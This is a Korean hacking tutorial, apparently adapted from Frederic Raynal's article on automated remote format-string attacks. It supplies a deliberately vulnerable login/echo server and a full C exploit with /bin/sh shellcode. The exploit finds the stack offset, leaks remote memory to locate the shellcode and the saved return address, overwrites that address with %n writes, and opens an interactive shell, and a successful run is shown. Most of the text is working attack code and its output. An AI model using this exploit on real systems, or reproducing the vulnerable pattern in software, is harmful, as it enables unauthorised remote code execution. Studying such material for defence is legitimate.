원격 및 자동 포맷 버그 공격 
Edited by vangelis (progressfree@hotmail.com) 
Wowcode Team of wowhacker.org 

<요약> 
이 문서는 Frederic Raynal의 문서를 정리한 것이다. 배포는 자유롭게... 공부는 열심히... 
세부사항 
1. 취약한 서버의 조건 

로그인 및 패스워드 인증을 요하며, 입력 값을 echo 한다. 코드는 다음과 같다. 
fmtd.c 
____________________________________________________________________________________________________________ 
#include <stdio.h> 
#include <stdlib.h> 
#include <netinet/in.h> 
#include <unistd.h> 
#include <stdarg.h> 
#include <syslog.h> 
void respond(char *fmt,...); 

int vul(void) { 
 char tmp[1024]; 
 char buf[1024]; 
 int len = 0; 

 syslog(LOG_ERR, "vul() -> tmp = 0x%x buf = 0x%x\n", tmp, buf); 

 while(1) { 
  memset(buf, 0, sizeof(buf)); memset(tmp, 0, sizeof(tmp)); 
  if ( (len = read(0, buf, sizeof(buf))) <= 0 ) { 
   syslog(LOG_ERR, "vul() -> error while reading input buf [%s] (%d)", buf, len); 
   exit(-1); 
  } /* 
  else 
   syslog(LOG_INFO, "vul() -> read %d bytes", len); 
 */ 
  if (!strncmp(buf, "quit", 4)) { 
   respond("bye bye ...\n"); 
   return 0; 
  } 
  snprintf(tmp, sizeof(tmp)-1, buf); 
  respond("%s", tmp); 
 } 
} 

void respond(char *fmt,...) { 
 va_list va; 
 char buf[1024]; 
 int len = 0; 
 va_start(va,fmt); 
 vsnprintf(buf,sizeof(buf),fmt,va); 
 va_end(va); 
 len = write(STDOUT_FILENO,buf,strlen(buf)); 
 /* syslog(LOG_INFO, "respond() -> write %d bytes", len); */ 
} 

int main() { 
 struct sockaddr_in sin; 
 int i,len = sizeof(struct sockaddr_in); 
 char login[16]; 
 char passwd[1024]; 
 openlog("fmtd", LOG_NDELAY | LOG_PID, LOG_LOCAL0); /* get login */ 
 memset(login, 0, sizeof(login)); 
 respond("login: "); 
 if ( (len = read(0, login, sizeof(login))) <= 0 ) { 
  syslog(LOG_ERR, "login -> error while reading login [%s] (%d)", 
  login, len); 
  exit(-1); 
 } else 
 syslog(LOG_INFO, "login -> read login [%s] (%d) bytes", login, len); 
  /* get passwd */ 
 memset(passwd, 0, sizeof(passwd)); 
 respond("password: "); 
 if ( (len = read(0, passwd, sizeof(passwd))) <= 0 ) { 
  syslog(LOG_ERR, "passwd -> error while reading passwd [%s] (%d)", 
  passwd, len); 
  exit(-1); 
 } else 
 syslog(LOG_INFO, "passwd -> read passwd [%x] (%d) bytes", passwd, len); 
 /* let's run ... */ 
 vul(); 
 return 0; 
} 
_________________________________________________________________________________________________ 

위의 서버를 설치하기 위해 12345 포트에 연결이 되도록 하기 위해 inetd를 설정해야 한다. 
# /etc/inetd.conf 
12345 stream tcp nowait raynal /home/raynal/MISC/2-MISC/RemoteFMT/fmtd 
또는 xinetd의 경우: 

# /etc/xinetd.conf 
service fmtd 
{ 
 type = UNLISTED 
 user = raynal 
 group = users 
 socket_type = stream 
 protocol = tcp wait = no 
 server = /tmp/fmtd 
 port = 12345 
 only_from = 192.168.1.1 192.168.1.2 127.0.0.1 
} 


이제 서버를 다시 시작 시키고, 방화벽을 설치해 돌리고 있다면 방화벽 규칙을 조정해야 한다. 이제 이 
서버가 어떻게 작동하는지 보자. 
$ telnet bosley 12345 
Trying 192.168.1.2... 
Connected to bosley. 
Escape character is '^]'. 
login: raynal 
password: secret 
hello world 
hello world 
^] 

telnet> quit 
Connection closed. 

로그 파일을 살펴 보자. 
Jan 4 10:49:09 bosley fmtd[877]: login -> read login [raynal^M ] (8) bytes 
Jan 4 10:49:14 bosley fmtd[877]: passwd -> read passwd [bffff9d0] (8) bytes 
Jan 4 10:49:56 bosley fmtd[877]: vul() -> error while reading input buf [] (0) 
Jan 4 10:49:56 bosley inetd[407]: pid 877: exit status 255 

앞의 예에서 우리는 단순히 로그인, 패스워드, 그리고 연결을 끊기 전에 hello world를 입력했다. 하지만 
포맷 명령을 서버에 입력하면 어떻게 될까. 
telnet bosley 12345 
Trying 192.168.1.2... 
Connected to bosley. 
Escape character is '^]'. 
login: raynal 
password: secret 

%x %x %x %x 
d 25207825 78252078 d782520 

"%x %x %x %x" 명령을 실행했을 때 서버가 포맷 버그에 취약하다는 것을 보여준다. 
소스를 보면 문제가 vul() 함수로부터 나온다는 것을 알 수 있다. 
... 
snprintf(tmp, sizeof(tmp)-1, buf); 
... 
버퍼 <buf>를 직접적으로 악의적인 사용자가 이용할 수 있으므로, 후자는 서버를 통제할 수 있다. 그래 
서 서버 권한으로 쉘을 획득하게 된다. 


2. 필요 요소들 
로컬 포맷 버그와 같은 요소들이 여기서도 필요하다. 
* 버퍼의 시작 부분에 도달할 offset 
* 서버의 메모리 어딘가에 위치한 쉘코드의 주소 
* 취약한 버퍼의 주소 
* 리턴 어드레스 

다음은 위의 취약한 서버를 공략하는 exploit이다. 
expl-fmtd.c 
____________________________________________________________________________________________________________ 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <sys/socket.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <netdb.h> 
#include <unistd.h> 
#include <getopt.h> 
char verbose = 0, debug = 0; 
#define OCT( b0, b1, b2, b3, addr, str ) { \ 
 b0 = (addr >> 24) & 0xff; \ 
 b1 = (addr >> 16) & 0xff; \ 
 b2 = (addr >> 8) & 0xff; \ b3 = (addr ) & 0xff; \ 
 if ( b0 * b1 * b2 * b3 == 0 ) { \ 
 printf( "\n%s contains a NUL byte. Leaving...\n", str ); \ 
 exit( EXIT_FAILURE ); \ 
 } \ 
} 

#define MAX_FMT_LENGTH 128 
#define ADD 0x100 
#define FOURsizeof( size_t ) * 4 
#define TWO sizeof( size_t ) * 2 
#define BANNER "uname -a ; id" 
#define MAX_OFFSET 255 

int interact(int sock) { 
 fd_set fds; 
 ssize_t ssize; 
 char buffer[1024]; 
 write(sock, BANNER"\n", sizeof(BANNER)); 
 while (1) { 
  FD_ZERO(&fds); 
  FD_SET(STDIN_FILENO, &fds); 
  FD_SET(sock, &fds); 
  select(sock + 1, &fds, NULL, NULL, NULL); 
  if (FD_ISSET(STDIN_FILENO, &fds)) { 
   ssize = read(STDIN_FILENO, buffer, sizeof(buffer)); 
   if (ssize < 0) { 
    return(-1); 
   } 
   if (ssize == 0) { 
    return(0); 
   } 
   write(sock, buffer, ssize); 
  } 
  if (FD_ISSET(sock, &fds)) { 
   ssize = read(sock, buffer, sizeof(buffer)); 
   if (ssize < 0) { return(-1); 
   } 
   if (ssize == 0) { 
    return(0); 
   } 
   write(STDOUT_FILENO, buffer, ssize); 
  } 
 } 
 return(-1); 
} 


u_long resolve(char *host) { 
 struct hostent *he; 
 u_long ret; 
 if(!(he = gethostbyname(host))) { 
  herror("gethostbyname()"); 
  exit(-1); 
 } 
 memcpy(&ret, he->h_addr, sizeof(he->h_addr)); 
 return ret; 
} 


int build_hn(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int offset, unsigned int base) { 
 unsigned char b0, b1, b2, b3; 
 unsigned int high, low; 
 int start = ((base / (ADD * ADD)) + 1) * ADD * ADD; 
 int sz; 
 /* <locaddr>: where to overwrite */ 
 OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]"); 
 sz = snprintf(buf, TWO + 1, /* 8 char to have the 2 addresses */ 
 "%c%c%c%c"/* + 1 for the ending \0 */ 
 "%c%c%c%c", 
 b3, b2, b1, b0, 
 b3 + 2, b2, b1, b0); /* where is our shellcode? */ 
 OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]"); 
 high = (retaddr & 0xffff0000) >> 16; 
 low = retaddr & 0x0000ffff; 
 return snprintf(buf + sz, MAX_FMT_LENGTH, "%%.%hdx%%%d$n%%.%hdx%%%d$hn", low - TWO + start - base, offset, high - low + start, offset + 1); 
} 

void get_addr_as_char(u_int addr, char *buf) { 
 *(u_int*)buf = addr; 
 if (!buf[0]) buf[0]++; 
 if (!buf[1]) buf[1]++; 
 if (!buf[2]) buf[2]++; 
 if (!buf[3]) buf[3]++; 
} 

int get_offset(int sock) { 
 int i, offset = -1, len; 
 char fmt[128], buf[128]; 
 for (i = 1; i<MAX_OFFSET && offset == -1; i++) { 
  snprintf(fmt, sizeof(fmt), "AAAA%%%d$x", i); 
  write(sock, fmt, strlen(fmt)); 
  memset(buf, 0, sizeof(buf)); 
  sleep(1); 
  if ((len = read(sock, buf, sizeof(buf))) < 0) { 
   fprintf(stderr, "Error while looking for the offset (%d)\n", len); 
   close(sock); 
   exit(EXIT_FAILURE); 
  } 
  if (debug) 
   fprintf(stderr, "testing offset = %d fmt = [%s] buf = [%s] len = %d\n", i, fmt, buf, len); 
  if (!strcmp(buf, "AAAA41414141")) 
  offset = i; 
 } 
 return offset; 
} 

char *shellcode = 
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
"\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

int main(int argc, char **argv) { 
 char *ip = "127.0.0.1", *ptr; 
 struct sockaddr_in sck; 
 u_int read_at, addr_stack = (u_int)0xbfffe0001; /* default bottom */ 
 u_int addr_shellcode = -1, addr_buffer = -1, addr_ret = -1; 
 char buf[1024], fmt[128], c; 
 int port = 12345, offset = -1; 
 int sd, len, i; 
 while ((c = getopt(argc, argv, "dvi:p:a:o:")) != -1) { 
  switch (c) { 
   case 'i': 
    ip = optarg; 
    break; 
   case 'p': 
    port = atoi(optarg); 
    break; 
   case 'a': 
    addr_stack = strtoul(optarg, NULL, 16); 
    break; 
   case 'o': 
    offset = atoi(optarg); break; 
   case 'v': 
    verbose = 1; 
    break; 
   case 'd': 
    debug = 1; 
    break; 
   default: 
    fprintf(stderr, "Unknwon option %c (%d)\n", c, c); 
    exit (EXIT_FAILURE); 
  } 
 } 

/* init the sockaddr_in */ 
 fprintf(stderr, "Using IP %s\n", ip); 
 sck.sin_family = PF_INET; 
 sck.sin_addr.s_addr = resolve(ip); 
 sck.sin_port = htons (port); 
 /* open the socket */ 
 if (!(sd = socket (PF_INET, SOCK_STREAM, 0))) { 
  perror ("socket()"); 
  exit (EXIT_FAILURE); 
 } 

/* connect to the remote server */ 
 if (connect (sd, (struct sockaddr *) &sck, sizeof (sck)) < 0) { 
  perror ("Connect() "); 
  exit (EXIT_FAILURE); 
 } 
 fprintf (stderr, "Connected to %s\n", ip); 
 if (debug) sleep(10); 
/* send login */ 
 memset (buf, 0x0, sizeof(buf)); 
 len = read(sd, buf, sizeof(buf)); 
 if (strncmp(buf, "login", 5)) { 
  fprintf(stderr, "Error: no login asked [%s] (%d)\n", buf, len); 
  close(sd); 
  exit(EXIT_FAILURE); 
 } 
 strcpy(buf, "toto"); 
 len = write (sd, buf, strlen(buf)); 
 if (verbose) fprintf(stderr, "login sent [%s] (%d)\n", buf, len); 
 sleep(1); 
/* passwd: shellcode in the buffer and in the remote stack */ 
 len = read(sd, buf, sizeof(buf)); 
 if (strncmp(buf, "password", 8)) { 
  fprintf(stderr, "Error: no password asked [%s] (%d)\n", buf, len); 
  close(sd); 
  exit(EXIT_FAILURE); 
 } 
 write (sd, shellcode, strlen(shellcode)); 
 if (verbose) fprintf (stderr, "passwd (shellcode) sent (%d)\n", len); 
 sleep(1); 
/* find offset */ 
 if (offset == -1) { 
  if ((offset = get_offset(sd)) == -1) { 
   fprintf(stderr, "Error: can't find offset\n"); 
   fprintf(stderr, "Please, use the -o arg to specify it.\n"); 
   close(sd); 
   exit(EXIT_FAILURE); 
  } 
  if (verbose) fprintf(stderr, "[Found offset = %d]\n", offset); 
 } 
/* look for the address of the shellcode in the remote stack */ 
 memset (fmt, 0x0, sizeof(fmt)); 
 read_at = addr_stack; 
 get_addr_as_char(read_at, fmt); 
 snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset); 
 write(sd, fmt, strlen(fmt)); 
 sleep(1); 
 while((len = read(sd, buf, sizeof(buf))) > 0 && (addr_shellcode == -1 || addr_buffer == -1 || addr_ret == -1) ) { 
  if (debug) fprintf(stderr, "Read at 0x%x (%d)\n", read_at, len); 
/* the shellcode */ 
  if ((ptr = strstr(buf, shellcode))) { 
   addr_shellcode = read_at + (ptr-buf) - 4; 
   fprintf (stderr, "[shell addr is: 0x%x (%d) ]\n", addr_shellcode, len); 
   fprintf(stderr, "buf = (%d)\n", len); 
   for (i=0; i<len; i++) { 
    fprintf(stderr,"%.2x ", (int)(buf[i] & 0xff)); 
    if (i && i%20 == 0) fprintf(stderr, "\n"); 
   } 
   fprintf(stderr, "\n"); 
  } 
/* the input buffer */ 
  if (addr_buffer == -1 && (ptr = strstr(buf, fmt))) { 
   addr_buffer = read_at + (ptr-buf) - 4; 
   fprintf (stderr, "[buffer addr is: 0x%x (%d) ]\n", addr_buffer, len); 
   fprintf(stderr, "buf = (%d)\n", len); 
   for (i=0; i<len; i++) { 
    fprintf(stderr,"%.2x ", (int)(buf[i] & 0xff)); 
    if (i && i%20 == 0) fprintf(stderr, "\n"); 
   } 
   fprintf(stderr, "\n\n"); 
  } 
/* return address */ 
  if (addr_buffer != -1) { 
   i = 4; 
   while (i<len-5 && addr_ret == -1) { 
    if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf && buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) { 
     addr_ret = read_at + i - 2 + 4 - 4; 
     fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len); 
    } 
    i++; 
   } 
  } read_at += (len-4+1); 
  if (len == sizeof(buf)) { 
   fprintf(stderr, "Warning: this has not been tested !!!\n"); 
   fprintf(stderr, "len = %d\nread_at = 0x%x", len, read_at); 
   read_at-=strlen(shellcode); 
  } 
  get_addr_as_char(read_at, fmt); 
  write(sd, fmt, strlen(fmt)); 
 } 
/* send the format string */ 
 fprintf (stderr, "Building format string ...\n"); 
 memset(buf, 0, sizeof(buf)); 
 build_hn(buf, addr_ret, addr_shellcode, offset, 0); 
 write(sd, buf, strlen(buf)); 
 sleep(1); 
 read(sd, buf, sizeof(buf)); 
/* call the return while quiting */ 
 fprintf (stderr, "Sending the quit ...\n"); 
 strcpy(buf, "quit"); 
 write(sd, buf, strlen(buf)); 
 sleep(1); 
 interact(sd); 
 close(sd); 
 return 0; 
} 
____________________________________________________________________________________________________________ 


이제 이 exploit에 대해 간단히 설명해보자. 
* sd: 클라이언트(exploit)와 취약한 서버 사이의 소켓 
* buf: 데이터를 읽고/쓸 버퍼 
* read_at: 서버 스택의 주소 
* fmt: 서버에 보내질 포맷 스트링 

2.1 offset 추측하기 
이 인자는 이런 종류의 버그를 공격하기 위해 항상 필요하며, offset을 결정하는 것은 로컬 공격과 같은 
방식이다. 
telnet bosley 12345 
Trying 192.168.1.2... 
Connected to bosley. 
Escape character is '^]'. 

login: raynal 
password: secret 
AAAA%1$x 
AAAAa 
AAAA%2$x 
AAAA41414141 

여기서 offset은 2이다. 그것을 자동으로 추측하는 것은 아주 쉬우며, get_offset() 함수가 목표로 두고 
있는 것이다. 이것은 서버에 "AAAA%<val>$x" 문자열을 보낸다. 만약 offset이 <val>이면 서버는 문자열 
"AAAA41414141"로 응답한다. 

#define MAXOFFSET 255 
for (i = 1; i<MAX_OFFSET && offset == -1; i++) { 
snprintf(fmt, sizeof(fmt), "AAAA%%%d$x", i); 
write(sock, fmt, strlen(fmt)); 
memset(buf, 0, sizeof(buf)); 
sleep(1); 
read(sock, buf, sizeof(buf)) 
if (!strcmp(buf, "AAAA41414141")) 
offset = i; 
} 


2.2 스택의 쉘코드 주소 추측하기 
만약 서버 메모리에 쉘코드를 위치시키려면 그것의 주소를 추측해야 한다. 그것은 취약한 버퍼나 다른 
곳에 위치시킬 수 있다. 예를 들어, 몇몇 ftp 서버는 익명 또는 ftp 계정에 대해 체크 없이 패스워드 
(PASS)에 쉘코드를 저장하는 것을 허용한다. 위의 취약한 서버도 그와 같다. 
포맷 버그 디버그 만들기 
우리는 서버의 메모리에 위치한 쉘코드의 주소를 찾는데 목표를 두고 있다. 그래서, 원격 디버거로 원격 
서버를 변환할 수 있다. “%s” 포맷 스트링을 사용하여 버퍼가 가득 차거나 NULL 문자를 만날 때까지 읽
기가 가능하다. 그래서 성공적으로 “%s”를 서버에 보내 exploit는 원격 프로세스의 메모리를 로컬상에 
덤퍼할 수 있다. 
<addr>%<offset>$s 

exploit에서는 두 단계로 실행된다. 
1. 함수 get_addr_as_char(u_int addr, char *buf)은 addr을 char로 변환한다: 
*(u_int*)buf = addr; 

2. 그런 다음, 다음 4바이트는 포맷 명령을 포함하고 있다. 그런 다음 포맷 스트링은 원격 서버로 보내 
진다: 
get_addr_as_char(read_at, fmt); 
snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset); 
write(sd, fmt, strlen(fmt)); 

클라이언트는 <addr>에서 하나의 문자열을 읽는다. 만약에 그것이 쉘코드를 포함하고 있지 않다면 다음 
읽기는 같은 주소에서 실행되며, 그것에 읽기 바이트의 양을 추가한다.(예를 들어, read()의 리턴 값) 
하지만, 모든 <len> 읽기 문자들은 고려되어서는 안된다. 서버의 취약한 명령은 다음과 같다. 
sprintf(out, in); 

외부 버퍼를 만들기 위해 sprintf()는 <in> 문자열을 파싱하면서 시작된다. 첫 4바이트는 우리가 읽으려 
고 의도하는 주소이다. 그 4바이트는 출력 버퍼로 단순히 복사된다. 그런 다음 포맷 명령이 만나게 되고, 
해석된다. 그러므로, 우리는 이 4바이트를 제거해야 한다. 

while( (len = read(sd, buf, sizeof(buf))) > 0) { 
[ ... ] 
read_at += (len-4+1); 
[ ... ] 
} 

무엇을 찾을 것인가? 
또 다른 문제는 메모리에서 ‘쉘코드를 어떻게 확인할 것인가’이다. 만약 단지 원격 메모리의 모든 바이트 
를 찾는다면 그것을 놓칠 위험이 있다. 버퍼가 NULL 바이트로 끝나기 때문에 바로 앞에 위치한 문자열 
은 많은 NOP을 포함할 수 있다. 그래서 쉘코드를 읽는 것은 두 번의 읽기로 쪼개질 수 있다. 
이것을 피하기 위해, 만약 읽기 문자들의 양이 버퍼의 크기와 동일하다면 exploit는 서버로부터 마지막 
sizeof(shellcode) 바이트를 잊어버린다. 그래서 다음 읽기는 다음에서 실행된다: 

while( (len = read(sd, buf, sizeof(buf))) > 0) { 
[ ... ] 
read_at += len; 
if (len == sizeof(buf)) 
read_at-=strlen(shellcode); 
[ ... ] 
} 

쉘코드의 정확한 주소 추측하기 
문자열에서 패턴을 일치시키는 것은 다음 함수에 의해 실행된다: 
ptr = strstr(buf, pattern); 
탐색된 패턴의 첫 바이트를 파싱된 문자열 어드레싱에 대한 포인터를 리턴한다. 그래서 쉘코드의 위치는 
다음과 같다: 
addr_shellcode = read_at + (ptr-buf); 

앞에서도 보았듯이 스택을 탐색하는 동안 출력된 버퍼의 첫 4바이트는 사실 우리가 다음에서 읽은 주소 
이다: 
addr_shellcode = read_at + (ptr-buf) - 4; 

쉘코드: 요약 
가끔 코드가 긴 설명보다 더 가치 있을 수 있다: 
while( (len = read(sd, buf, sizeof(buf))) > 0) { 
if ((ptr = strstr(buf, shellcode))) { 
addr_shellcode = read_at + (ptr-buf) - 4; 
break; 
} 
read_at += (len-4+1); 
if (len == sizeof(buf)) { 
read_at-=strlen(shellcode); 
} 
memset (buf, 0x0, sizeof (buf)); 
get_addr_as_char(read_at, fmt); 
write(sd, fmt, strlen(fmt)); 
} 

2.3 리턴 어드레스 추측하기 
마지막으로 확인해야 할 마지막 인자는 리턴 어드레스이다. 우리는 쉘코드의 하나로 스택을 덮어쓰기 위 
해 원격 프로세스 스택의 유효한 주소를 찾아낼 필요가 있다. 
여기서는 어떻게 함수들이 C에서 호출되는지 설명은 하지 않을 것이다. 대신 어떻게 변수와 파라미터들 
이 스택에 위치해 있는지 간단히 상기만 할 것이다. 먼저, 인자들이 스택에서 마지막에서부터 첫번째(가 
장 낮은 곳)까지 위치해 있다. 그리고 명령 레지스터(%eip)가 스택에 저장되고, base pointer 레지스터 
(%ebp)가 뒤따라 오고, 그것은 현재 함수에 대한 메모리의 시작 부분을 가리킨다. 이 주소 다음에 메모 
리가 로컬 변수를 위해 사용된다. 그 함수가 끝이 나면 %eip가 pop 되고, 스택이 깨끗해진다. 이것은 
단지 %esp와 %ebp 레지스터가 함수 호출에 따라 pop 된다는 것만을 의미한다. 스택은 어떤 식으로든 
깨끗해지지 않는다. 

그래서, 우리의 목표는 %eip가 저장되는 곳을 찾는 것이다. 여기에는 두 단계가 사용된다: 
1. 입력된 버퍼의 주소를 찾는다. 
2. 취약한 버퍼가 속한 함수의 리턴 어드레스를 찾는다. 
왜 우리는 버퍼의 주소를 찾을 필요가 있는가? 스택에서 찾을 수 있는 모든 쌍(저장된 ebp, eip)이 우리 
의 목적을 위해 좋은 것은 아니다. 스택은 다른 호출 사이에 실제로 클린업 되지는 않는다. 그러므로, 그 
것들이 그 프로세스에 의해 실제로 사용되지 않는다 할지라도 이전 호출을 위해 사용되었던 값을 포함하 
고 있다. 
그래서 취약한 버퍼의 주소를 처음에 추측하는 것에 의해 우리는 모든 쌍(저장된 ebp, eip)이 유효한 포 
인터를 가지게 된다. 왜냐하면 취약한 버퍼는 스택의 꼭대기에 있기 때문이다. 

버퍼의 주소 추측하기 
입력된 버퍼는 원격 메모리에서 쉽게 확인된다. 그것은 우리가 입력하는 글자들에 대한 미러이다. 서버 
fmtd는 어떤 변경도 없이 그것들은 복사한다. 그러므로 우리는 서버의 메모리에 있는 우리의 포맷 스트 
링의 정확한 복사를 살펴보아야 한다. 

while((len = read(sd, buf, sizeof(buf))) > 0) { 
if ((ptr = strstr(buf, fmt))) { 
addr_buffer = read_at + (ptr-buf) - 4; 
break; 
} 
read_at += (len-4+1); 
memset (buf, 0x0, sizeof (buf)); 
get_addr_as_char(read_at, fmt); 
write(sd, fmt, strlen(fmt)); 
} 

리턴 어드레스 추측하기 
대부분의 리눅스 배포본의 경우 스택의 꼭대기는 0xc0000000에 있다. 하지만 칼데라의 경우 
0x80000000에 있다. 저장된 공간은 프로그램의 필요에 달려 있으며, 주로 로컬 변수에 의해 결정된다. 
이것들은 보통 0xbfffXXXX의 범위 내에 위치하는데, 여기서 XX는 확인되지 않은 바이트이다. 반대로, 프 
로세스의 명령어(.text 섹션)은 0x08048000로부터 로딩된다. 
그러므로 우리는 다음과 같이 생긴 어떤 것을 찾기 위해 원격 스택을 읽어야 한다. 

스택의 꼭대기 
0x0804XXXX 
0xbfffXXXX 
이것은 스트링 0xff 0xbf XX XX 0x04 0x08를 찾는 것과 동일하다. 우리가 앞에서 보았듯이 우리는 리턴 
된 문자열의 첫 4바이트를 고려할 필요는 없다. 
i = 4; 
while (i<len-5 && addr_ret == -1) { 
if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf && 
buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) { 
addr_ret = read_at + i - 2 + 4 - 4; 
fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len); 
} 
i++; 
} 
if (addr_ret != -1) break; 

변수 <addr_ret>는 아주 복잡한 공식으로 초기화된다. 
* addr_ret: 방금 읽은 어드레스 
* +i: 우리가 찾고 있는 문자열의 offset(우리는 strstr()을 사용할 수 없다. 왜냐하면 우리의 패턴은 와일 
드카드를 가지고 있기 때문이다. . 정의되지 않은 바이트 XX). 
* -2: 우리가 스택에서 발견한 첫 바이트는 ff bf이지만, 전체 word(예를 들어 저장된 %ebp)는 4바이트 
로 쓰여진다. .2는 워드 XX XX ff bf의 시작 부분에 위치한 2 “최소 바이트”에 대한 것이다. 
* +4: 이 변경은 저장된 %ebp 위의 4 바이트인 리턴 어드레스 때문이다. 
* -4: 읽기 주소의 복사본인 첫 4바이트이다. 


3. 공격 
우리는 이제 필요한 모든 요소를 갖추고 있어 공격 그 자체는 이제 어렵지는 않다. 우리는 쉘코드 
(addr_shellcode) 중의 하나로 취약한 함수의 리턴 어드레스(addr_ret)를 대체해야 한다. 함수 fmtbuilder 
는 F.Raynal과 S. Dralet의 “fmtbuilder-howto”로부터 가지고 왔으며, 서버에 보내지는 포맷 스트링을 만 
드는데 사용된다: build_hn(buf, addr_ret, addr_shellcode, offset, 0); 
write(sd, buf, strlen(buf)); 
일단 대체된 리턴 어드레스가 원격 스택에서 실행되면 vul() 함수로부터 리턴해야 한다. 그때 우리는 
“quit” 명령을 보낸다. 

strcpy(buf, "quit"); 
write(sd, buf, strlen(buf)); 

마지막으로, 함수 interact()는 획득한 쉘을 사용할 수 있도록 파일 기술자를 이용한다. 
다음 보기에서, exploit는 bosley로부터 charly로 시작된다: 

$ ./expl-fmtd -i 192.168.1.1 -a 0xbfffed01 
Using IP 192.168.1.1 
Connected to 192.168.1.1 
login sent [toto] (4) 
passwd (shellcode) sent (10) 
[Found offset = 6] 
[buffer addr is: 0xbfffede0 (12) ] 
buf = (12) 
e0 ed ff bf e0 ed ff bf 25 36 24 73 
[shell addr is: 0xbffff5f0 (60) ] 
buf = (60) 
e5 f5 ff bf 8b 04 08 28 fa ff bf 22 89 04 08 eb 1f 5e 89 76 08 
31 c0 88 46 07 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 
31 db 89 d8 40 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 68 
[ret addr is: 0xbffff5ec (60) ] 
Building format string ... 
Sending the quit ... 
bye bye ... 
Linux charly 2.4.17 #1 Mon Dec 31 09:40:49 CET 2001 i686 unknown 
uid=500(raynal) gid=100(users) 
exit 
$ 


4. 결론 
우리가 여태 보았듯이, 자동화는 그렇게 어렵지는 않다. 라이브러리 fmtbuilder(아래 참고문헌을 참고할 
것) 또한 그것을 위한 필요한 툴들을 제공한다. 
여기서, exploit는 원격 메모리 읽기를 임의의 값까지 시작한다. 하지만, 만약 그것이 너무 낮다면 서버는 
다운된다. exploit는 꼭대기로부터 바닥까지 스택을 탐험하기 위해 변경될 수 있다. 하지만 어떤 값을 확 
인하기 위해 사용되는 전략은 약간 수정되어야 한다. 

읽기는 스택의 꼭대기 0xc0000000-4로부터 시작된다. 우리는 변수 addr_stack의 값을 변경해야 한다. 
더욱이, read_at+=(len-4+1); 라인은 read_at-=4로 대체되어야 한다. 이와 같이 인자 .a는 쓸모 없다. 
이 해결책의 단점은 리턴 어드레스가 입력 버퍼 아래 있다는 것이다. 하지만, 이 버퍼 아래에 있는 모든 
것은 스택에 더 이상 없는 함수로부터 나온다. 이 데이터는 스택으로부터 자유로운 영역에서 쓰여진다. 
그래서 프로세스에 의해 언제라도 변경될 수 있다. 그러므로, 리턴 어드레스를 찾는 것은 변경되어야 한 
다.